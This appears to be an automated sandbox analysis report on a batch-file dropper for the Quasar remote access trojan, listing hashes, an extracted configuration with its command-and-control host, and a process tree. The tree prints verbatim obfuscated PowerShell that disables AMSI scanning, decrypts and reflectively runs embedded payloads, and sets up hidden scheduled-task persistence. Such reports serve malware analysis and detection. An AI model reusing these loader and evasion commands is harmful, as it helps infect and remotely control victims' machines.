Analysis

  • max time kernel
    94s
  • max time network
    75s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    26-05-2024 19:38

General

  • Target

    $77-Built.bat

  • Size

    3.5MB

  • MD5

    297d7e65305917b5a212ca9f4b4d99d2

  • SHA1

    402192fd3b13ea1fd26403e227ceb119e8569b4c

  • SHA256

    cbe56ba5a86d713c4f57d42e3084f9879c379367c46054b805e85922e5654bf9

  • SHA512

    6055d50144ca5a3e6c8889a659d63d654a3a84fb2be78ad36335d0877095592b7923e309c9d818ea9d5fc17a7d4f1b61c3318acddb9ea5041cf0fd996e27cb1a

  • SSDEEP

    49152:cYbGAyBfhKnc19015vyfIchfKpcuGj8RmSMvANLFt/X9oS4ot3X3tLdDh:cG

Malware Config

Extracted

Family

quasar

Attributes
  • reconnect_delay

    3000

Extracted

Family

quasar

Version

1.4.1

Botnet

Rootkit

C2

uk2.localto.net:3444

Mutex

13b8023a-5596-4efa-b088-c87d2ca4e84f

Attributes
  • encryption_key

    6BE0D74806BB58E6DB21FA6E3B6DB38B4A72BAFC

  • install_name

    $77-powershell.exe

  • log_directory

    $77-Logs

  • reconnect_delay

    3000

  • startup_key

    Discord

  • subdirectory

    $77-Rootkit

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 4 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 54 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:552
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:1000
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{a9962185-de96-47e2-81e1-42ac93f7d47d}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2792
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
          PID:632
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay
          1⤵
            PID:724
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k dcomlaunch -s LSM
            1⤵
              PID:900
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
              1⤵
                PID:1016
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s DsmSvc
                1⤵
                  PID:356
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService
                  1⤵
                    PID:380
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts
                    1⤵
                      PID:716
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                      1⤵
                        PID:1080
                        • c:\windows\system32\taskhostw.exe
                          taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                          2⤵
                            PID:3148
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:saqiUXlVcqAq{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$PSLaSDpbXJXEtw,[Parameter(Position=1)][Type]$vqZhVhUbcV)$WdpJNpaSkaF=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+[Char](108)+'e'+[Char](99)+''+'t'+''+[Char](101)+'d'+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+'n'+''+[Char](77)+''+[Char](101)+'m'+'o'+''+'r'+'y'+[Char](77)+'odu'+[Char](108)+'e',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+[Char](97)+''+[Char](116)+'e'+[Char](84)+''+[Char](121)+'p'+'e'+'',''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+'Pu'+[Char](98)+''+'l'+''+'i'+''+'c'+''+[Char](44)+''+[Char](83)+''+[Char](101)+''+'a'+''+'l'+''+[Char](101)+''+'d'+''+','+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+'oC'+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$WdpJNpaSkaF.DefineConstructor(''+'R'+''+'T'+''+[Char](83)+''+[Char](112)+''+'e'+''+'c'+'i'+'a'+'l'+'N'+''+'a'+''+[Char](109)+'e'+[Char](44)+'H'+'i'+''+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+'S'+''+[Char](105)+''+[Char](103)+','+[Char](80)+''+[Char](117)+''+'b'+''+'l'+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$PSLaSDpbXJXEtw).SetImplementationFlags(''+'R'+''+[Char](117)+'n'+[Char](116)+'ime,'+[Char](77)+''+[Char](97)+'n'+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$WdpJNpaSkaF.DefineMethod(''+'I'+'n'+[Char](118)+''+[Char](111)+'k'+'e'+'','Pu'+[Char](98)+'l'+'i'+'c,'+[Char](72)+''+'i'+''+[Char](100)+''+[Char](101)+'B'+[Char](121)+''+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+'N'+[Char](101)+'w'+[Char](83)+''+[Char](108)+''+[Char](111)+'t'+[Char](44)+''+[Char](86)+'i'+[Char](114)+'tua'+[Char](108)+'',$vqZhVhUbcV,$PSLaSDpbXJXEtw).SetImplementationFlags('Ru'+'n'+''+'t'+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+'a'+''+[Char](110)+'a'+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $WdpJNpaSkaF.CreateType();}$JNxYBubUArsrC=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+'s'+[Char](116)+''+'e'+''+[Char](109)+''+'.'+''+[Char](100)+'l'+[Char](108)+'')}).GetType(''+[Char](77)+''+'i'+'c'+'r'+''+'o'+''+'s'+''+[Char](111)+'f'+[Char](116)+'.'+'W'+''+[Char](105)+''+[Char](110)+''+[Char](51)+''+'2'+''+[Char](46)+'U'+[Char](110)+''+[Char](115)+''+[Char](97)+''+[Char](102)+'e'+'N'+'a'+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+'M'+''+[Char](101)+''+[Char](116)+'h'+[Char](111)+''+'d'+''+[Char](115)+'');$czVTGRviZAoAEU=$JNxYBubUArsrC.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+'c'+''+[Char](65)+''+[Char](100)+''+[Char](100)+'r'+'e'+''+[Char](115)+'s',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+'St'+'a'+''+[Char](116)+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$taeCbgsaORVduzLIRuU=saqiUXlVcqAq @([String])([IntPtr]);$ZcjYYgiyfiVsXqKtVykqyV=saqiUXlVcqAq @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$enDmrgitdIj=$JNxYBubUArsrC.GetMethod(''+'G'+''+[Char](101)+''+'t'+''+[Char](77)+''+[Char](111)+''+'d'+'u'+[Char](108)+''+'e'+''+'H'+'a'+'n'+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+'e'+''+[Char](114)+'n'+'e'+'l'+[Char](51)+''+[Char](50)+''+'.'+'d'+[Char](108)+'l')));$UUoaRuoLlSfFLX=$czVTGRviZAoAEU.Invoke($Null,@([Object]$enDmrgitdIj,[Object](''+'L'+''+'o'+'a'+'d'+'L'+'i'+'b'+[Char](114)+''+[Char](97)+'r'+[Char](121)+''+[Char](65)+'')));$zqSyzybdBtgskHbak=$czVTGRviZAoAEU.Invoke($Null,@([Object]$enDmrgitdIj,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+'t'+''+'u'+'al'+[Char](80)+''+'r'+''+[Char](111)+'te'+[Char](99)+'t')));$gibEDTV=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UUoaRuoLlSfFLX,$taeCbgsaORVduzLIRuU).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+'i'+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$IOXeJSTBLGjtKZhkP=$czVTGRviZAoAEU.Invoke($Null,@([Object]$gibEDTV,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](83)+''+[Char](99)+''+'a'+''+[Char](110)+''+[Char](66)+''+[Char](117)+'f'+[Char](102)+''+[Char](101)+'r')));$SzEoKryFvd=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($zqSyzybdBtgskHbak,$ZcjYYgiyfiVsXqKtVykqyV).Invoke($IOXeJSTBLGjtKZhkP,[uint32]8,4,[ref]$SzEoKryFvd);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$IOXeJSTBLGjtKZhkP,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($zqSyzybdBtgskHbak,$ZcjYYgiyfiVsXqKtVykqyV).Invoke($IOXeJSTBLGjtKZhkP,[uint32]8,0x20,[ref]$SzEoKryFvd);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+'F'+''+[Char](84)+'W'+[Char](65)+''+'R'+''+'E'+'').GetValue(''+[Char](36)+''+'7'+''+[Char](55)+'s'+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
                            2⤵
                            • Suspicious use of NtCreateUserProcessOtherParentProcess
                            • Drops file in System32 directory
                            • Suspicious use of SetThreadContext
                            • Modifies data under HKEY_USERS
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of WriteProcessMemory
                            PID:4516
                        • c:\windows\system32\svchost.exe
                          c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog
                          1⤵
                            PID:1088
                          • c:\windows\system32\svchost.exe
                            c:\windows\system32\svchost.exe -k localservice -s nsi
                            1⤵
                              PID:1200
                            • c:\windows\system32\svchost.exe
                              c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                              1⤵
                                PID:1212
                              • c:\windows\system32\svchost.exe
                                c:\windows\system32\svchost.exe -k netsvcs -s Themes
                                1⤵
                                  PID:1224
                                • c:\windows\system32\svchost.exe
                                  c:\windows\system32\svchost.exe -k localservice -s EventSystem
                                  1⤵
                                    PID:1236
                                  • c:\windows\system32\svchost.exe
                                    c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp
                                    1⤵
                                      PID:1420
                                    • c:\windows\system32\svchost.exe
                                      c:\windows\system32\svchost.exe -k netsvcs -s SENS
                                      1⤵
                                        PID:1436
                                      • c:\windows\system32\svchost.exe
                                        c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                                        1⤵
                                          PID:1484
                                          • c:\windows\system32\sihost.exe
                                            sihost.exe
                                            2⤵
                                              PID:3108
                                          • c:\windows\system32\svchost.exe
                                            c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder
                                            1⤵
                                              PID:1524
                                            • c:\windows\system32\svchost.exe
                                              c:\windows\system32\svchost.exe -k networkservice -s NlaSvc
                                              1⤵
                                                PID:1584
                                              • c:\windows\system32\svchost.exe
                                                c:\windows\system32\svchost.exe -k networkservice -s Dnscache
                                                1⤵
                                                  PID:1636
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
                                                  1⤵
                                                    PID:1652
                                                  • c:\windows\system32\svchost.exe
                                                    c:\windows\system32\svchost.exe -k localservice -s netprofm
                                                    1⤵
                                                      PID:1756
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
                                                      1⤵
                                                        PID:1804
                                                      • C:\Windows\system32\svchost.exe
                                                        C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
                                                        1⤵
                                                          PID:1816
                                                        • c:\windows\system32\svchost.exe
                                                          c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
                                                          1⤵
                                                            PID:1876
                                                          • c:\windows\system32\svchost.exe
                                                            c:\windows\system32\svchost.exe -k appmodel -s StateRepository
                                                            1⤵
                                                              PID:1896
                                                            • C:\Windows\System32\spoolsv.exe
                                                              C:\Windows\System32\spoolsv.exe
                                                              1⤵
                                                                PID:2028
                                                              • c:\windows\system32\svchost.exe
                                                                c:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation
                                                                1⤵
                                                                  PID:1764
                                                                • c:\windows\system32\svchost.exe
                                                                  c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
                                                                  1⤵
                                                                    PID:2128
                                                                  • c:\windows\system32\svchost.exe
                                                                    c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
                                                                    1⤵
                                                                      PID:2304
                                                                    • c:\windows\system32\svchost.exe
                                                                      c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
                                                                      1⤵
                                                                        PID:2344
                                                                      • c:\windows\system32\svchost.exe
                                                                        c:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc
                                                                        1⤵
                                                                          PID:2356
                                                                        • c:\windows\system32\svchost.exe
                                                                          c:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent
                                                                          1⤵
                                                                            PID:2392
                                                                          • c:\windows\system32\svchost.exe
                                                                            c:\windows\system32\svchost.exe -k netsvcs -s Browser
                                                                            1⤵
                                                                              PID:2528
                                                                            • c:\windows\system32\svchost.exe
                                                                              c:\windows\system32\svchost.exe -k networkservice -s CryptSvc
                                                                              1⤵
                                                                                PID:2540
                                                                              • C:\Windows\sysmon.exe
                                                                                C:\Windows\sysmon.exe
                                                                                1⤵
                                                                                  PID:2572
                                                                                • c:\windows\system32\svchost.exe
                                                                                  c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks
                                                                                  1⤵
                                                                                    PID:2596
                                                                                  • c:\windows\system32\svchost.exe
                                                                                    c:\windows\system32\svchost.exe -k netsvcs -s WpnService
                                                                                    1⤵
                                                                                      PID:2604
                                                                                    • C:\Windows\system32\wbem\unsecapp.exe
                                                                                      C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                                      1⤵
                                                                                        PID:2896
                                                                                      • c:\windows\system32\svchost.exe
                                                                                        c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
                                                                                        1⤵
                                                                                          PID:3092
                                                                                        • c:\windows\system32\svchost.exe
                                                                                          c:\windows\system32\svchost.exe -k netsvcs -s TokenBroker
                                                                                          1⤵
                                                                                            PID:3256
                                                                                          • C:\Windows\Explorer.EXE
                                                                                            C:\Windows\Explorer.EXE
                                                                                            1⤵
                                                                                            • Suspicious behavior: GetForegroundWindowSpam
                                                                                            PID:3352
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\$77-Built.bat"
                                                                                              2⤵
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:4388
                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('twuxtJhdDPDIItQMfQPnmbwCEvx/ntxfgJ0nkHny+ys='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('THctp9yqCo6/7Mcv5ujKQg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rAtKb=New-Object System.IO.MemoryStream(,$param_var); $PRHkS=New-Object System.IO.MemoryStream; $iEUZv=New-Object System.IO.Compression.GZipStream($rAtKb, [IO.Compression.CompressionMode]::Decompress); $iEUZv.CopyTo($PRHkS); $iEUZv.Dispose(); $rAtKb.Dispose(); $PRHkS.Dispose(); $PRHkS.ToArray();}function execute_function($param_var,$param2_var){ $eQbdy=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $EfvOS=$eQbdy.EntryPoint; $EfvOS.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\$77-Built.bat';$UuGWW=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\$77-Built.bat').Split([Environment]::NewLine);foreach ($DHocM in $UuGWW) { if ($DHocM.StartsWith(':: ')) { $CoMDu=$DHocM.Substring(3); break; }}$payloads_var=[string[]]$CoMDu.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                                                                                                3⤵
                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                • Modifies registry class
                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                PID:5028
                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_182_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_182.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
                                                                                                  4⤵
                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                  PID:1056
                                                                                                • C:\Windows\System32\WScript.exe
                                                                                                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_182.vbs"
                                                                                                  4⤵
                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                  PID:1128
                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_182.bat" "
                                                                                                    5⤵
                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                    PID:3556
                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                      6⤵
                                                                                                        PID:376
                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('twuxtJhdDPDIItQMfQPnmbwCEvx/ntxfgJ0nkHny+ys='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('THctp9yqCo6/7Mcv5ujKQg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rAtKb=New-Object System.IO.MemoryStream(,$param_var); $PRHkS=New-Object System.IO.MemoryStream; $iEUZv=New-Object System.IO.Compression.GZipStream($rAtKb, [IO.Compression.CompressionMode]::Decompress); $iEUZv.CopyTo($PRHkS); $iEUZv.Dispose(); $rAtKb.Dispose(); $PRHkS.Dispose(); $PRHkS.ToArray();}function execute_function($param_var,$param2_var){ $eQbdy=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $EfvOS=$eQbdy.EntryPoint; $EfvOS.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_182.bat';$UuGWW=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_182.bat').Split([Environment]::NewLine);foreach ($DHocM in $UuGWW) { if ($DHocM.StartsWith(':: ')) { $CoMDu=$DHocM.Substring(3); break; }}$payloads_var=[string[]]$CoMDu.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                                                                                                        6⤵
                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                        PID:4224
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\Install.exe
                                                                                                          "C:\Users\Admin\AppData\Local\Temp\Install.exe"
                                                                                                          7⤵
                                                                                                          • Executes dropped EXE
                                                                                                          PID:1376
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\Client-built.exe
                                                                                                          "C:\Users\Admin\AppData\Local\Temp\Client-built.exe"
                                                                                                          7⤵
                                                                                                          • Executes dropped EXE
                                                                                                          PID:916
                                                                                                        • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                          "schtasks" /create /tn "Discord" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe" /rl HIGHEST /f
                                                                                                          7⤵
                                                                                                          • Creates scheduled task(s)
                                                                                                          PID:4548
                                                                                            • C:\Windows\System32\RuntimeBroker.exe
                                                                                              C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                              1⤵
                                                                                                PID:3880
                                                                                              • C:\Windows\system32\DllHost.exe
                                                                                                C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                1⤵
                                                                                                  PID:4060
                                                                                                • c:\windows\system32\svchost.exe
                                                                                                  c:\windows\system32\svchost.exe -k localservice -s CDPSvc
                                                                                                  1⤵
                                                                                                    PID:4752
                                                                                                  • c:\windows\system32\svchost.exe
                                                                                                    c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
                                                                                                    1⤵
                                                                                                      PID:4464
                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                      C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
                                                                                                      1⤵
                                                                                                      • Modifies data under HKEY_USERS
                                                                                                      PID:3520
                                                                                                    • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                      "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                      1⤵
                                                                                                      • Modifies data under HKEY_USERS
                                                                                                      PID:4020
                                                                                                    • C:\Windows\system32\DllHost.exe
                                                                                                      C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                      1⤵
                                                                                                        PID:4964
                                                                                                      • C:\Windows\system32\ApplicationFrameHost.exe
                                                                                                        C:\Windows\system32\ApplicationFrameHost.exe -Embedding
                                                                                                        1⤵
                                                                                                          PID:2672
                                                                                                        • C:\Windows\System32\InstallAgent.exe
                                                                                                          C:\Windows\System32\InstallAgent.exe -Embedding
                                                                                                          1⤵
                                                                                                            PID:4376
                                                                                                          • C:\Windows\system32\DllHost.exe
                                                                                                            C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
                                                                                                            1⤵
                                                                                                              PID:5000
                                                                                                            • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                              C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                              1⤵
                                                                                                                PID:1700
                                                                                                              • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                1⤵
                                                                                                                  PID:5104

                                                                                                                Network

                                                                                                                MITRE ATT&CK Enterprise v15

                                                                                                                Replay Monitor

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                                                                                                                Downloads

                                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                                                                                  Filesize

                                                                                                                  3KB

                                                                                                                  MD5

                                                                                                                  8592ba100a78835a6b94d5949e13dfc1

                                                                                                                  SHA1

                                                                                                                  63e901200ab9a57c7dd4c078d7f75dcd3b357020

                                                                                                                  SHA256

                                                                                                                  fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c

                                                                                                                  SHA512

                                                                                                                  87f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3

                                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                  Filesize

                                                                                                                  1KB

                                                                                                                  MD5

                                                                                                                  ab64146204d66061fe4c21f85f2c5716

                                                                                                                  SHA1

                                                                                                                  356e840a0baf272181fa336020201f53ecfd56d8

                                                                                                                  SHA256

                                                                                                                  7a0e5fda0f4b068cd5dc8834d2b45a1102219e606098d0de27f6d331d14ef7c9

                                                                                                                  SHA512

                                                                                                                  50fb9c39b7b9ef62f06b8c8eace49734b1f3ce22a5e20eab2da342e2bdc12316b0f06ba12b09fcac0c53a39c606daced67605e67517e9e606fb639f9522b1913

                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Client-built.exe
                                                                                                                  Filesize

                                                                                                                  3.1MB

                                                                                                                  MD5

                                                                                                                  4de93a204d54204a0798175c8457a2de

                                                                                                                  SHA1

                                                                                                                  38abe30fa70c599846e0b777d4ee62422781837f

                                                                                                                  SHA256

                                                                                                                  7333499e805ad534c6f65623adf4600c0484830cefa08c0a75f98b46a929fefb

                                                                                                                  SHA512

                                                                                                                  e3ae4e2c84dec014dd15bc29faa9767214972eef8bdee9db063f4fbe059549212f17c69f06a78a12880f53a766e357c73eae6763f2452fb4eff2302f5396304a

                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Install.exe
                                                                                                                  Filesize

                                                                                                                  163KB

                                                                                                                  MD5

                                                                                                                  b51552b77057c2405f73bbbf9c89234a

                                                                                                                  SHA1

                                                                                                                  4793adbba023f90d2d2ad0ec55199c56de815224

                                                                                                                  SHA256

                                                                                                                  720e6962d75e37e8b47b160c5b3f60433a341f00abf60041630116b26858fbb0

                                                                                                                  SHA512

                                                                                                                  564f4104e6e398eeef8acc7ce7cab694b6eebbe4233b7cb359829242b949dc7c5bf124a550a4d0402eb7da19b8bec6c1f6753563b17a8ae36fb639be595b8d66

                                                                                                                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hy0prbld.l4r.ps1
                                                                                                                  Filesize

                                                                                                                  1B

                                                                                                                  MD5

                                                                                                                  c4ca4238a0b923820dcc509a6f75849b

                                                                                                                  SHA1

                                                                                                                  356a192b7913b04c54574d18c28d46e6395428ab

                                                                                                                  SHA256

                                                                                                                  6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

                                                                                                                  SHA512

